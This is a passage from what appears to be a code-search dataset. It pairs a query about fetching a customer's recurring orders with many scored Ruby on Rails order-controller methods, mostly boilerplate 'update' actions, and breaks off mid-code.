:ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n=end\n end", "def update\n authorize @order\n @company = @order.company\n\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to admin_company_order_path(@company, @order), notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def update\n\n respond_to do |format|\n if @order.update_attributes(order_params)\n format.html { redirect_to [@group, @order], notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to orders_url, notice: 'Dati commessa modificati.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit \n @order = current_order || Order.incomplete.\n includes(line_items: [variant: [:images, :option_values, :product]]).\n find_or_initialize_by(guest_token: cookies.signed[:guest_token])\n @order.save! unless @order.id\n puts \"\\n\\n\\n edit guest_token=[#{cookies.signed[:guest_token]}] order=[#{@order.to_json}] \\n\\n\\n\"\n associate_user \n\n @order.assign_default_addresses!\n puts \"\\n\\n\\n\\n edit assign_default_addresses good bill_address=[#{@order.bill_address}]\\n\\n\\n\\n\";\n @order.bill_address = User.find(1).bill_address.try(:clone) unless @order.bill_address\n puts \"\\n\\n\\n\\n edit bill_address good\\n\\n\\n\\n\";\n \n \n # if @order.next\n # puts \"\\n\\n\\n\\n edit order next good\\n\\n\\n\\n\";\n\n # else\n # puts \"\\n\\n\\n\\n edit order next bad\\n\\n\\n\\n\";\n # end\n \n # @order.create_proposed_shipments \n # @order.refresh_shipment_rates\n # @order.set_shipments_cost\n # @order.apply_free_shipping_promotions\n\n if (@order[:state] == 'cart')\n if @order.next\n puts \"\\n\\n\\n\\n edit order next cart good\\n\\n\\n\\n\";\n else\n puts \"\\n\\n\\n\\n edit order next cart bad\\n\\n\\n\\n\";\n end\n else\n puts \"\\n\\n\\n\\n edit order state not eq cart\\n\\n\\n\\n\";\n end \n @order.ship_address = User.find(1).ship_address.try(:clone) unless @order.ship_address\n # @updating_params = {order: { bill_address_attributes: [{city: \"Kriviy Rih\", country_id: 229, state_id: 2975, zipcode: \"50015\"} ] } }\n \n # \n @order.shipments = Spree::Stock::Coordinator.new(@order).shipments unless @order.shipments&.count > 0\n @order.refresh_shipment_rates\n @order.set_shipments_cost\n @order.apply_free_shipping_promotions\n @order.available_payment_methods\n # @updating_params ||= {}\n # @updating_params[:order] ||= {bill_address_attributes:[{city: \"Kriviy Rih\", country_id: 229, state_id: 2975, zipcode: \"50015\"}]}\n # @updating_params[:order][:bill_address_attributes] ||= [{}]\n # @updating_params[:order][:bill_address_attributes].first[:city] = \"Kriviy Rih\"\n # @updating_params[:order][:bill_address_attributes].first[:country_id] = \"229\"\n # @updating_params[:order][:bill_address_attributes].first[:state_id] = \"2975\"\n # @updating_params[:order][:bill_address_attributes].first[:zipcode] = \"50015\"\n # if @order.update_from_params(@updating_params, permitted_checkout_attributes, request.headers.env)\n\n # end\n # @order.bill_address = user.bill_address.try(:clone)\n # @order.create_proposed_shipments \n # @order.refresh_shipment_rates\n # @order.set_shipments_cost\n # @order.apply_free_shipping_promotions\n puts \"\\n\\n\\n edit shipments=[\"[email protected]_json+\"]\\n\\n\\n\\n\"\n puts \"\\n\\n\\n edit shipment_total=[\"[email protected]_total.to_json+\"]\\n\\n\\n\\n\"\n # puts \"\\n\\n\\n edit client_store_ref_path=[#{client_store_ref_path}] \\n\\n\\n\"\n # puts \"\\n\\n\\n edit packages=[\"+Spree::Stock::Coordinator.packages.to_json+\"]\\n\\n\\n\\n\"\n # flash[:error] = \"order1112=[\"[email protected]_json+\"]\\n\\n available_payment_methods=[\"[email protected]_payment_methods.to_json+\"]\"\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Замовлення поновлено.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t\trespond_to do |format|\n\t\t\tif @order.update(order_params)\n\t\t\t\tformat.html { redirect_to @order, notice: 'Order was successfully updated.' }\n\t\t\t\tformat.mobile { redirect_to @order, notice: 'Order was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'edit' }\n\t\t\t\tformat.mobile { render action: 'edit' }\n\t\t\t\tformat.json { render json: @order.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def update\n respond_to do |format|\n if order.update(order_params)\n format.html { redirect_to order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: order.errors, status: ':unprocessable_entity' }\n end\n end\n end", "def update\n #@order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @order.update(order_params)\n render :show, status: :ok, location: @order\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end", "def update\n @order = Order.find(params[:id])\n respond_to do |format|\n if @order.update_attributes(order_params.except!(:order_status_detail,:order_detail))\n if order_params[:order_detail].present?\n OrderDetail.process_order_details(@order,order_params[:order_detail])\n end\n OrderStatusDetail.change_order_status(@order, order_params[:order_status_detail])\n format.html { redirect_to @order, notice: 'Orden actualizada exitosamente.' }\n else\n format.html { render :edit }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity, response: request.body.read }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, flash: { sucess: 'Order was successfully updated.' } }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'A comanda foi atualizada com sucesso.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: t('Order was successfully updated') }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n \n respond_to do |format|\n if @truck_order.update(truck_order_params)\n @truck_order.truck_truck_orders.where(truck_id: nil).delete_all\n format.html { redirect_to @truck_order, notice: 'Truck order was successfully updated.' }\n format.json { render :show, status: :ok, location: @truck_order }\n else\n format.html { render :edit }\n format.json { render json: @truck_order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @v1_order = V1::Order.find(params[:id])\n\n case @v1_order.state\n when 0\n if @v1_order.update(v1_order_params)\n head :no_content\n else\n render json: @v1_order.errors, status: :unprocessable_entity\n end\n else\n render json: {message: 'Can be edited only when in draft(0) state'}, status: 400\n end\n \n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: t('app.orders.update.success') }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: \"Order was successfully updated.\" }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @order = Order.find(params[:id])\n redirect_to :action => \"index\" and return if current_admin.limited_sales_rep && !current_admin.users.include?(@order.user)\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to(admin_orders_url, :notice => 'Order was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @order.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n @order.add_event \"Изменён пользователем #{User.find_by_id(session[:user_id]).login}\"\n format.html { redirect_to(order_url(@order), :notice => 'Order was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @order.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was updated successfully' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: \"Order was successfully updated.\" }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.71665585", "0.6944809", "0.6906992", "0.6838878", "0.68093055", "0.6788424", "0.6773653", "0.6767925", "0.67581916", "0.6752395", "0.6752395", "0.67469424", "0.67360055", "0.6722087", "0.6717004", "0.6688588", "0.6687143", "0.6683587", "0.6683047", "0.66819257", "0.6661239", "0.6658909", "0.66506374", "0.66498125", "0.6649299", "0.6649299", "0.6649299", "0.6649299", "0.6649299", "0.6649299", "0.6649299", "0.6649299", "0.6649299", "0.6649299", "0.6649299", "0.6649299", "0.6649299", "0.6649299", "0.6642984", "0.66428953", "0.6639579", "0.6635148", "0.66325194", "0.6628182", "0.6623004", "0.6617785", "0.66161597", "0.6615545", "0.66151196", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.66143805", "0.6613992", "0.6607274", "0.66061103" ]
0.77046275
0
get/order/customer_recurring_orders Gets All recurring order that are used to generate auto orders for a customer || Check status
def customer_recurring_orders # 1 represents @orders = Order.where(customer_id: current_user.customer_id, category: :recurring) render json: @orders, status: 200 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def all_orders(options)\n request :account, :get, 'allOrders', options\n end", "def list_customer_orders\n orders = current_user.restaurant.orders.where.not(\"status = ? OR status = ? OR status = ? OR status = ?\", 2, 7, 8, 9)\n\n if orders.where(status: 6).length > 0 || orders.where(status: 0).length > 0\n render json: {orders: orders.as_json(include: :customer), notify: true}, status: :ok\n else\n render json: {orders: orders.as_json(include: :customer), notify: false}, status: :ok\n end\n end", "def list_orders(code)\n PsegRecurring::Order.new(@credentials).fetch_orders(code)\n end", "def index\n @orders = Order.all.order(:customer_id, :day_of_week)\n @customer_orders = @orders.select{|order| order.cancelled_on == nil }.group_by{|order| order.customer_id }\n end", "def orders\n params = { command: 'account_orders' }\n get('/json.php', params)\n end", "def get_orders\n return ShopifyAPI::Order.all\n end", "def orders\n authenticated_post(\"auth/r/orders\").body\n end", "def customer\n @orders = Spree::Order.where(user_id: current_spree_user.id, state: 'complete').where.not(shipment_state: 'shipped', state: 'returned').order(created_at: :desc)\n end", "def get_all_orders() \n\tputs \"Getting all orders\"\n\tresponse = request_get(\"/api/order\")\n\tputs response.body\nend", "def getorders(args={})\n {\n :method=> \"GetOrders\"\n }.to_json\n end", "def query_order(options)\n request :account, :get, 'order', options\n end", "def get_order_list(criteria = {})\n order_criteria = {}\n order_criteria[\"ins1:OrderCreationFilterBeginTimeGMT\"] = criteria[:created_from]\n order_criteria[\"ins1:OrderCreationFilterEndTimeGMT\"] = criteria[:created_to]\n order_criteria[\"ins1:StatusUpdateFilterBeginTimeGMT\"] = criteria[:updated_from]\n order_criteria[\"ins1:StatusUpdateFilterEndTimeGMT\"] = criteria[:updated_to]\n order_criteria[\"ins1:JoinDateFiltersWithOr\"] = criteria[:join_dates]\n\n if order_ids = criteria[:order_ids]\n order_criteria[\"ins1:OrderIDList\"] = {\"ins1:int\" => order_ids}\n end\n\n if client_order_ids = criteria[:client_order_ids]\n order_criteria[\"ins1:ClientOrderIdentifierList\"] = {\"ins1:string\" => client_order_ids}\n end\n\n order_criteria[\"ins1:DetailLevel\"] = criteria[:detail_level] if criteria[:detail_level]\n order_criteria[\"ins1:ExportState\"] = criteria[:export_state] if criteria[:export_state]\n order_criteria[\"ins1:OrderStateFilter\"] = criteria[:state] if criteria[:state]\n 